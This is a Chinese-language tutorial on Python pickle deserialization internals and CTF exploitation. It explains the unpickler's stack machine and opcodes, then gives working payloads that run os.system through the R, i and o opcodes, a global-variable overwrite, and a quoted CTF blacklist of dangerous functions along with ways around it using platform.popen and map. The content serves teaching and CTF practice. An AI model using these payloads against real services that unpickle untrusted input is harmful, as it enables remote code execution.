Pickle原理剖析
为什么需要Pickle
如果我们需要存储的东西是一个dict、一个list,甚至一个对象,依然选用存储字符串的方法就很繁琐。所以需要序列化
序列化:对象-->字符串
反序列:字符串-->对象
各大语言都有自己的反序列库,而Python的库就是Pickle
比如下图,显示了对象的两种显示模式。
Pickle的原理
主要使用 pickle.dump()
和 pickle.load()
两个函数。
另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029
的方式赋初值,则这个date
不会被打包!解决方案是写一个__init__
方法, 也就是这样:
0x01 pickle.loads机制:调用_Unpickler类
pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler
类。代码实现如下:
可以看出,_load
和_loads
基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler
类;然后调用_Unpickler.load()
实现反序列化。
所以,接下来的任务就很清楚了:读一遍_Unpickler
类的源码,然后弄清楚它干了什么事。
0x02 _Unpickler类:莫得感情的反序列化机器
在反序列化过程中,_Unpickler
(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图):
栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。
存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。
您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler
。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools
。
0x03 pickletools 调试器
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。来看看效果吧:
反编译结果:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来试一试优化功能:
-
优化功能:去除了
BINPUT
和MEMOIZE
等不必要的指令
0x04 反序列化机器:语法严格、向前兼容
pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,目前,pickle有6种版本。
import pickle
a={'1': 1, '2': 2}
print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
# 输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
-
pickle3版本的opcode(指令码)示例:
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止
不过pickle协议是向下兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。
dumps后的字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。
详细步骤讲解可以参考https://zhuanlan.zhihu.com/p/89132768
常用的opcode如下:
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
此外, TRUE
可以用 I
表示: b'I01\n'
; FALSE
也可以用 I
表示: b'I00\n'
,其他opcode可以在pickle库的源代码中找到。 由这些opcode我们可以得到一些需要注意的地方:
-
编写opcode时要想象栈中的数据,以正确使用每种opcode。
-
在理解时注意与python本身的操作对照(比如python列表的
append
对应a
、extend
对应e
;字典的update
对应u
)。 -
c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。 -
pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。 -
s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。
Pickle应用
拼接opcode
将第一个pickle流结尾表示结束的 .
去掉,将第二个pickle流与第一个拼接起来即可。
全局变量覆盖
python源码:
# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
首先,通过 c
获取全局变量 secret
,然后建立一个字典,并使用 b
对secret进行属性设置,使用到的payload:
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
函数执行
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
-
R
:
b'''cos
system
(S'whoami'
tR.'''
-
i
:
b'''(S'whoami'
ios
system
.'''
-
o
:
b'''(cos
system
S'whoami'
o.'''
pker的使用(推荐)
-
pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。解析器的原理见作者的paper:通过AST来构造Pickle opcode。
-
使用pker,我们可以更方便地编写pickle opcode,pker的使用方法将在下文中详细介绍。需要注意的是,建议在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
注意事项
pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
函数执行
__reduce__
CTF竞赛对pickle的利用多数是在__reduce__
方法上。它的指令码是R
,干了这么一件事情:
-
取当前栈的栈顶记为
args
,然后把它弹掉。 -
取当前栈的栈顶记为
f
,然后把它弹掉。 -
以
args
为参数,执行函数f
,把结果压进当前栈。
常见payload
那么,如何过滤掉reduce呢?由于__reduce__
方法对应的操作码是R
,只需要把操作码R
过滤掉就行了。这个可以很方便地利用pickletools.genops
来实现。
绕过姿势
-
绕过函数黑名单
有一种过滤方式:不禁止R
指令码,但是对R
执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
可惜platform.popen()
不在名单里,它可以做到类似system
的功能。这题死于黑名单有漏网之鱼。
另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])
总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R
这个指令码。
-
全局变量包含:
c
指令码的妙用
有这么一道题,彻底过滤了R
指令码(写法是:只要见到payload里面有R
这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。
-
绕过
c
指令module
限制:先读入,再篡改
c
指令(也就是GLOBAL指令)基于find_class
这个方法, 然而find_class
可以被出题人重写。如果出题人只允许c
指令包含__main__
这一个module,这道题又该如何解决呢?
-
不用reduce,也能RCE(使用其他的opcode)
参考
https://zhuanlan.zhihu.com/p/89132768